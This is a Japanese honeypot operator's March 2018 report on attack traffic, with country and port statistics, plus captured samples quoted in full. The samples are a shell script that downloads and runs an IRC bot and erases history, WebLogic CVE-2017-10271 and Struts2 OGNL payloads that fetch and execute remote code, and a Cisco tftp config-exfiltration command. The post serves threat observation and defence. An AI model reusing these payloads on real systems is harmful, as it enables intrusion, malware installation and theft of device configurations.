ハニーポット観察記録 2018年3月
だいぶ遅くなってしまいましたが、3月分の観測記録をまとめたので公開したいと思います。また4月分についても後程まとめて、公開したいと思います。(なお5月分はサーバを停止していましたので、いったんお休みです。6月から再開する予定です。)
今後はハニポのカスタマイズや、ほかのセキュリティに関する内容も書いていけたらと思っています。(ネタは何個か候補があるので、あとは書くのみ・・・)
それでは3月の観測記録についてです。
全体のアクセス状況
アクセス元(国)
まずは、ハニーポットへのアクセス元の国別ランキングです。順位 | アクセス元(国) | 今月 | 前月 | 前月比 | 前月順位 |
---|---|---|---|---|---|
1 | Russia | 1548706 | 3122438 | 50% | 1 |
2 | United States | 777195 | 271081 | 287% | 4 |
3 | Brazil | 185737 | 129037 | 144% | 6 |
4 | Vietnam | 182766 | 39191 | 466% | 16 |
5 | Netherlands | 174832 | 350739 | 50% | 3 |
6 | Canada | 155447 | 157822 | 98% | 5 |
7 | Italy | 149052 | 105323 | 142% | 7 |
8 | China | 130058 | 99409 | 131% | 8 |
9 | United Kingdom | 111611 | 45762 | 244% | 13 |
10 | France | 77745 | 488897 | 16% | 2 |
1位は継続して、ロシアからのアクセスでした。前月のランク外からランクインした国として、ベトナムとイギリスが入りました。この2国についてはどのプロトコルが増加したのか、後ほど記載します。
アクセスポート
全ての国からのアクセス
アクセスされたポートのトップ20です。今月はアクセス数の推移が特徴的で、月の前半と後半で大きくアクセス数に違いがありました。アクセス数トップ10の国の中で、ブラジル、ベトナム、中国以外の国において、上記のような月の前後半でアクセス数に大きな差がありました。
アクセスポートランキングとしてはやはりリモートアクセス系のサービスへの攻撃が多い傾向です。
前回までの観察記録で登場しなかったポートとしては、5901/tcp、2022/tcpがありました。
またこちらは前月とのアクセスポートの比較になります。(上が前月(2月)、下が今月(3月)です。)
全体のアクセス数は前月と比較して6割~7割程度に減っていました。特にSSHのポートである22/tcp(T-Potでのシステムの表示上、2222/tcp)とVNCのポートである5900/tcpが半分程度に減少しておりました。
ベトナムからのアクセス
ベトナムからのポート別のアクセス数です。(上が前月(2月)、下が今月(3月)です。)前月と比較して、22/tcp(T-Potでのシステムの表示上、2222/tcp)へのアクセスが急増していました。
イギリスからのアクセス
イギリスからのポート別のアクセス数です。(上が前月(2月)、下が今月(3月)です。)前月と比較して、23/tcpと22/tcp(T-Potでのシステムの表示上、2223/tcp、2222/tcp)へのアクセスが急増していました。
SSH、telnet(COWRIE)
ログイン試行
SSH、telnetのログイン試行に使われたユーザ名とパスワードのタグクラウドになります。今回もユーザ名、パスワードについてはよく使われるものがランクインしていました。前回までのものと比較して特に目新しいものはありませんでした。
配置されたファイル
配置されたファイルとしては以下のようなものがありました。PerlのIRCボットをダウンロード・実行するスクリプト
以下のようなスクリプトが配置されていました。#!/bin/sh cd /var/tmp rm -rf .* * crontab -r wget http://***.***.***.***/f.txt curl -O http://***.***.***.***/f.txt perl f.txt wget -q http://***.***.***.***/w.sh curl -O http://***.***.***.***/w.sh chmod a+x w.sh && sh w.sh rm -rf * f* .* history -rc
wgetしているtxtファイルはVirus Totalで調べたところ、PerlのIRCボットスクリプトのようでした。またシェルスクリプトのほうはダウンローダのようで、こちらもPerlのIRCボットスクリプトに関連がありそうでした。
ダウンロード・実行後は、ファイルをすべて削除し、コマンド履歴をすべて消去しようとしていることがわかります。
上記のようなPerlスクリプト以外にも、バイナリファイルとしてDDoSを行うファイルも多々配置されておりました。
マイニングツール
Virus Totalでマイニングツールとして判定されたバイナリもいくつか配置されておりました。以下のファイルはバイナリの1つで、stringsをかけた結果の一部になります。Try "xmrminer" --help' for more information. XMRMiner 1.2.7-dev built on Jul 14 2017 with GCC Usage: xmrminer [OPTIONS] Options: -o, --url=URL URL of mining server -b, --backup-url=URL URL of backup mining server -O, --userpass=U:P username:password pair for mining server -u, --user=USERNAME username for mining server -p, --pass=PASSWORD password for mining server -t, --threads=N number of miner threads -v, --av=N algorithm variation, 0 auto select -k, --keepalive send keepalived for prevent timeout (need pool support) -r, --retries=N number of times to retry before switch to backup server (default: 5) -R, --retry-pause=N time to pause between retries (default: 5) --cpu-affinity set process affinity to CPU core(s), mask 0x3 for cores 0 and 1 --no-color disable colored output -B, --background run the miner in the background -c, --config=FILE load a JSON-format configuration file --max-cpu-usage=N maximum CPU usage for automatic threads mode (default 75) --safe safe adjust threads and av settings for current CPU --nicehash enable nicehash support -h, --help display this help and exit -V, --version output version information and exit
プログラムのUsageと思われる部分になります。上記の内容から仮想通貨であるXMRをマイニングするツールと推測できます。
http、https(Glastopf)
リクエスト集計Glastopfに来たリクエストの集計です。リクエスト内容 | アクセス数 |
---|---|
phpmyadminの管理画面へのアクセス | 510 |
オープンプロキシを試みるアクセス | 18 |
サーバステータス確認画面へのアクセス | 12 |
やはり変わらずphpmyadminの管理画面へのアクセスが多く見られます。(ほとんどはルートパス(/)へのアクセスです。)
phpmyadminへのアクセスについて着目すると、以下のように短時間の間に複数のパスへのアクセスが多く見られます。
2018-03-28 02:59:33,259 GET /pmd/index.php 2018-03-28 02:59:34,065 GET /pma/index.php 2018-03-28 02:59:34,335 GET /PMA/index.php 2018-03-28 02:59:34,603 GET /PMA2/index.php 2018-03-28 02:59:34,870 GET /pmamy/index.php 2018-03-28 02:59:35,137 GET /pmamy2/index.php 2018-03-28 02:59:35,573 GET /mysql/index.php 2018-03-28 02:59:38,672 GET /mysql/index.php 2018-03-28 02:59:39,064 GET /admin/index.php 2018-03-28 02:59:42,856 GET /admin/index.php 2018-03-28 02:59:43,119 GET /db/index.php 2018-03-28 02:59:46,077 GET /db/index.php 2018-03-28 02:59:46,362 GET /dbadmin/index.php 2018-03-28 02:59:48,992 GET /dbadmin/index.php 2018-03-28 02:59:49,257 GET /web/phpMyAdmin/index.php 2018-03-28 02:59:52,079 GET /web/phpMyAdmin/index.php
上記については、おそらくスキャンツールのようなものを用いて探索しているのだと思います。
その他のアクセス
今までの観測ではあまり見られなかったアクセスについて、いくつかピックアップしてみてみたいと思います。Weblogic Serverの脆弱性を突くアクセス
以下のPOSTリクエストが来ていました。POST /wls-wsat/CoordinatorPortType HTTP/1.1 Connection: Close Content-Length: 1214 Content-Type: text/xml Host: ***.***.***.***:80 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>cmd.exe</string> </void> <void index="1"> <string>/c</string> </void> <void index="2"> <string>Start PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABPAFMAPQAo (snip) wACcAKQA7AA==</string> </void> </array> <void method="start"/> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
上記のリクエストはWeblogic Serverの脆弱性CVE-2017-10271を突くものですが、7001/tcpではなく80/tcpへアクセスが来ておりました。
POSTのデータ部を見るとPowerShellスクリプトを実行させようとしており、Base64エンコードされている文字列をデコードすると以下のようになります。
$OS=(Get-WmiObject Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient; $WC.Headers.Add('User-Agent',"PowerShell/WL $OS"); IEX $WC.DownloadString('http://***.***.***.***/images/test/DL.php');
このスクリプトでは外部からさらにスクリプトを取得し、実行させようとするもののようです。残念ながら実際に何が実行されるかについては追えませんでした。
DB、ファイル共有(Dionaea)
DB系のポート、ファイル共有のポートのアクセスを検知するDionaeaの解析結果です。ログイン試行
ファイル共有のログイン試行に使われたユーザ名とパスワードのタグクラウドになります。こちらもよくつかわれるユーザ名とパスワードが多くありました。
配置されたファイル
今月は全部で450個程度のファイルが配置されていました。その内訳は以下の通りです。種別 | 数 |
---|---|
WannaCry | 405 |
ダウンローダ | 27 |
その他 | 16 |
配置されたファイルはやはりWannaCryが多い傾向でした。これは感染端末からの横展開による感染拡大の通信と思われます。
その他のファイルとしては、ランサムウェアやDoSツール、またハニーポットではあまり見られないバンキングマルウェアであるRamnitなどが配置されていました。
その他のポート(honeytrap)
上記以外のポートでhoneytrapが検知したその他のアクセスで気になったものを調べました。Struts2の脆弱性を突く攻撃
こちらはStruts2の脆弱性をついて外部からファイルをダウンロード・実行させようとしているもののようです。下記のログでは8001/tcpへのアクセスですが、同じようなリクエストがさまざまなポート宛てに来ていました。
GET /struts2-rest-showcase/orders.xhtml HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).( #cmd='cmd /c del C:/Windows/temp/searsvc.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/Windows/temp/searsvc.vbs&echo Set Shell = CreateObject("Wscript.Shell") >>C:/Windows/temp/searsvc.vbs&echo Post.Open "GET","http://***.***.***.***/esentutl.exe",0 >>C:/Windows/temp/searsvc.vbs&echo Post.Send() >>C:/Windows/temp/searsvc.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/Windows/temp/searsv c.vbs&echo aGet.Mode = 3 >>C:/Windows/temp/searsvc.vbs&echo aGet.Type = 1 >>C:/Windows/temp/searsvc.vbs&echo aGet.Open() >>C:/Windows/temp/searsvc.vbs&echo aGet.Write(Post.responseBody) >>C:/Windows/temp /searsvc.vbs&echo aGet.SaveToFile "C:/Windows/temp/searsvc.exe",2 >>C:/Windows/temp/searsvc.vbs&echo wscript.sleep 10000>>C:/Windows/temp/searsvc.vbs&echo Shell.Run ("C:/Windows/temp/searsvc.exe")>>C:/Wi ndows/temp/searsvc.vbs&C:/Windows/temp/searsvc.vbs').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=n ew java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@ copy(#process.getInputStream(),#ros)).(#ros.flush())} Accept: text/html, application/xhtml+xml, */* Accept-Encoding: gbk, GB2312 Accept-Language: zh-cn User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Host: ***.***.***.***:8001
実行させようとしているコマンドを見ると、Windowsのコマンドが多く含まれていますが、一部/bin/bashなどもあり、Linuxにも対応させようとしているのでしょうか。
またダウンロードしようとしているファイルについては、調査時点では追うことができませんでした。
Cisco Smart Client Installの脆弱性を突く攻撃
Cisco Smart Client Installの脆弱性をついて、設定情報をtftp経由でアップロードさせようとする攻撃です。copy flash:/config.text tftp://***.***.***.***/***.***.***.***.conf
以下、参考です。
blog.nicter.jp
最後に
最近知ったのですが、T-Potで検知した情報はコミュニティへ共有する仕組みになっています。(以下の公式Githubのページに記載されています。)ここに書かれているURL(http://sicherheitstacho.eu/start/main)を開くと、世界中で検知した攻撃がヴィジュアル的にみることができ、Kibanaのダッシュボードとは違った見方ができおもしろいと思ったので、ここで紹介します。
ソース(国)、あて先(国)、プロトコル、通信内容の、簡易的な情報にはなりますが、上記ページで確認することができるので、1度見てみてはと思います。(なお上記Githubのページにあるように、共有をやめることも可能です。)